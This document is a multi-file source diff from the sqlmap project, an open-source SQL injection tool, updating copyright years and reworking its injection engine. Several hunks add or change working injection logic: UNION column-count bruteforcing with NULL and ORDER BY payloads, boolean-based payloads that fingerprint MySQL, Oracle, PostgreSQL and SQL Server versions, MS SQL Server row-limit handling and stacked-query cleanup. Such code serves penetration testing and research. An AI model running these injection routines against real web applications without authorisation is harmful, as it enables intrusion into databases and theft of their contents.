limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
@@ -144,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if limitRegExp:
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
elif topLimit:
|
||||
startLimit = 0
|
||||
stopLimit = int(topLimit.group(1))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
@@ -163,6 +194,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
stopLimit += startLimit
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
@@ -252,9 +286,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
|
||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
@@ -315,6 +347,9 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
||||
value = None
|
||||
|
||||
if inband and conf.unionUse and kb.dbms:
|
||||
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||
expression = expression[:expression.index(" ORDER BY ")]
|
||||
|
||||
value = __goInband(expression, expected)
|
||||
|
||||
if not value:
|
||||
@@ -336,6 +371,8 @@ def goStacked(expression):
|
||||
TODO: write description
|
||||
"""
|
||||
|
||||
expression = cleanQuery(expression)
|
||||
|
||||
comment = queries[kb.dbms].comment
|
||||
query = agent.prefixQuery("; %s" % expression)
|
||||
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -54,7 +54,7 @@ def bisection(payload, expression, length=None):
|
||||
finalValue = ""
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
@@ -98,12 +98,10 @@ def bisection(payload, expression, length=None):
|
||||
while (maxValue - minValue) != 1:
|
||||
queriesCount[0] += 1
|
||||
limit = ((maxValue + minValue) / 2)
|
||||
|
||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
||||
|
||||
result = Request.queryPage(forgedPayload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
if result == True:
|
||||
minValue = limit
|
||||
else:
|
||||
maxValue = limit
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -33,37 +33,9 @@ from lib.core.session import setUnion
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __effectiveUnionTest(query, comment):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 50 columns
|
||||
on the target database table
|
||||
"""
|
||||
def __forgeUserFriendlyValue(payload):
|
||||
value = ""
|
||||
|
||||
resultDict = {}
|
||||
|
||||
for count in range(0, 50):
|
||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||
query = query[:-len(" FROM DUAL")]
|
||||
|
||||
if count:
|
||||
query += ", NULL"
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
query += " FROM DUAL"
|
||||
|
||||
commentedQuery = agent.postfixQuery(query, comment)
|
||||
payload = agent.payload(newValue=commentedQuery)
|
||||
newResult = Request.queryPage(payload)
|
||||
|
||||
if not newResult in resultDict.keys():
|
||||
resultDict[newResult] = (1, commentedQuery)
|
||||
else:
|
||||
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
||||
|
||||
if count:
|
||||
for element in resultDict.values():
|
||||
if element[0] == 1:
|
||||
if kb.injPlace == "GET":
|
||||
value = "%s?%s" % (conf.url, payload)
|
||||
elif kb.injPlace == "POST":
|
||||
@@ -78,7 +50,62 @@ def __effectiveUnionTest(query, comment):
|
||||
|
||||
return value
|
||||
|
||||
return None
|
||||
|
||||
def __unionTestByNULLBruteforce(comment):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 50 columns
|
||||
on the target database table
|
||||
"""
|
||||
|
||||
columns = None
|
||||
value = None
|
||||
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||
|
||||
for count in range(0, 50):
|
||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||
query = query[:-len(" FROM DUAL")]
|
||||
|
||||
if count:
|
||||
query += ", NULL"
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
query += " FROM DUAL"
|
||||
|
||||
commentedQuery = agent.postfixQuery(query, comment)
|
||||
payload = agent.payload(newValue=commentedQuery)
|
||||
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||
|
||||
if seqMatcher >= 0.6:
|
||||
columns = count + 1
|
||||
value = __forgeUserFriendlyValue(payload)
|
||||
|
||||
break
|
||||
|
||||
return value, columns
|
||||
|
||||
|
||||
def __unionTestByOrderBy(comment):
|
||||
columns = None
|
||||
value = None
|
||||
|
||||
for count in range(1, 51):
|
||||
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||
orderByQuery = agent.postfixQuery(query, comment)
|
||||
payload = agent.payload(newValue=orderByQuery)
|
||||
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
|
||||
|
||||
if seqMatcher >= 0.6:
|
||||
columns = count
|
||||
|
||||
elif columns:
|
||||
value = __forgeUserFriendlyValue(prevPayload)
|
||||
|
||||
break
|
||||
|
||||
prevPayload = payload
|
||||
|
||||
return value, columns
|
||||
|
||||
|
||||
def unionTest():
|
||||
@@ -87,19 +114,26 @@ def unionTest():
|
||||
SQL injection vulnerability. The test is done up to 3*50 times
|
||||
"""
|
||||
|
||||
if conf.uTech == "orderby":
|
||||
technique = "ORDER BY clause bruteforcing"
|
||||
else:
|
||||
technique = "NULL bruteforcing"
|
||||
|
||||
logMsg = "testing inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
|
||||
logger.info(logMsg)
|
||||
|
||||
value = ""
|
||||
|
||||
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||
columns = None
|
||||
|
||||
for comment in (queries[kb.dbms].comment, ""):
|
||||
value = __effectiveUnionTest(query, comment)
|
||||
if conf.uTech == "orderby":
|
||||
value, columns = __unionTestByOrderBy(comment)
|
||||
else:
|
||||
value, columns = __unionTestByNULLBruteforce(comment)
|
||||
|
||||
if value:
|
||||
setUnion(comment, value.count("NULL"))
|
||||
if columns:
|
||||
setUnion(comment, columns)
|
||||
|
||||
break
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -159,7 +159,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
conf.paramNegative = True
|
||||
|
||||
if conf.paramNegative == True and direct == False:
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
@@ -187,7 +187,17 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
@@ -206,6 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
stopLimit += startLimit
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = False
|
||||
@@ -261,7 +274,21 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
return
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
|
||||
|
||||
if orderBy:
|
||||
field = orderBy.group(1)
|
||||
else:
|
||||
field = expressionFieldsList[0]
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
field = expressionFieldsList
|
||||
|
||||
else:
|
||||
field = None
|
||||
|
||||
limitedExpr = agent.limitQuery(num, expression, field)
|
||||
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||
|
||||
if output:
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -76,7 +76,7 @@ def checkForParenthesis():
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
if result == True:
|
||||
count = parenthesis
|
||||
|
||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -176,20 +176,27 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logMsg = "testing Microsoft SQL Server"
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "LTRIM(STR(LEN(%s)))" % randInt
|
||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if inject.getValue(query) == "1":
|
||||
query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
|
||||
version = inject.getValue(query)
|
||||
if result == True:
|
||||
logMsg = "confirming Microsoft SQL Server"
|
||||
logger.info(logMsg)
|
||||
|
||||
if version == "8":
|
||||
for version in ( 0, 5, 8 ):
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if version == 8:
|
||||
kb.dbmsVersion = ["2008"]
|
||||
elif version == "5":
|
||||
elif version == 5:
|
||||
kb.dbmsVersion = ["2005"]
|
||||
elif version == "0":
|
||||
elif version == 0:
|
||||
kb.dbmsVersion = ["2000"]
|
||||
|
||||
break
|
||||
|
||||
if kb.dbmsVersion:
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
else:
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -133,7 +133,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != kb.defaultResult:
|
||||
if result != True:
|
||||
warnMsg = "unable to perform MySQL comment injection"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -161,7 +161,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
if result == True:
|
||||
if not prevVer:
|
||||
prevVer = version
|
||||
|
||||
@@ -249,15 +249,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "CONCAT('%s', '%s')" % (randInt, randInt)
|
||||
|
||||
if inject.getValue(query) == (randInt * 2):
|
||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
logMsg = "confirming MySQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH('%s')" % randInt
|
||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if not inject.getValue(query) == "1":
|
||||
if result != True:
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -282,23 +285,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
|
||||
|
||||
# Or if it MySQL >= 5.1.2 and < 6.0.3
|
||||
elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
|
||||
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
|
||||
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
|
||||
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
|
||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
|
||||
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = ["= 5.1.6"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
|
||||
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
|
||||
else:
|
||||
kb.dbmsVersion = ["= 5.1.2"]
|
||||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||
|
||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
@@ -38,6 +39,7 @@ from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -163,17 +165,17 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logMsg = "testing Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH(SYSDATE)"
|
||||
sysdate = inject.getValue(query)
|
||||
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if sysdate and int(sysdate) > 0:
|
||||
if result == True:
|
||||
logMsg = "confirming Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
version = inject.getValue(query)
|
||||
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if not version:
|
||||
if result != True:
|
||||
warnMsg = "the back-end DMBS is not Oracle"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -186,6 +188,9 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
version = inject.getValue(query)
|
||||
|
||||
if re.search("^11", version):
|
||||
kb.dbmsVersion = ["11i"]
|
||||
elif re.search("^10", version):
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
@@ -39,6 +40,7 @@ from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -168,15 +170,18 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "COALESCE(%s, NULL)" % randInt
|
||||
|
||||
if inject.getValue(query) == randInt:
|
||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
logMsg = "confirming PostgreSQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH('%s')" % randInt
|
||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if not inject.getValue(query) == "1":
|
||||
if result != True:
|
||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
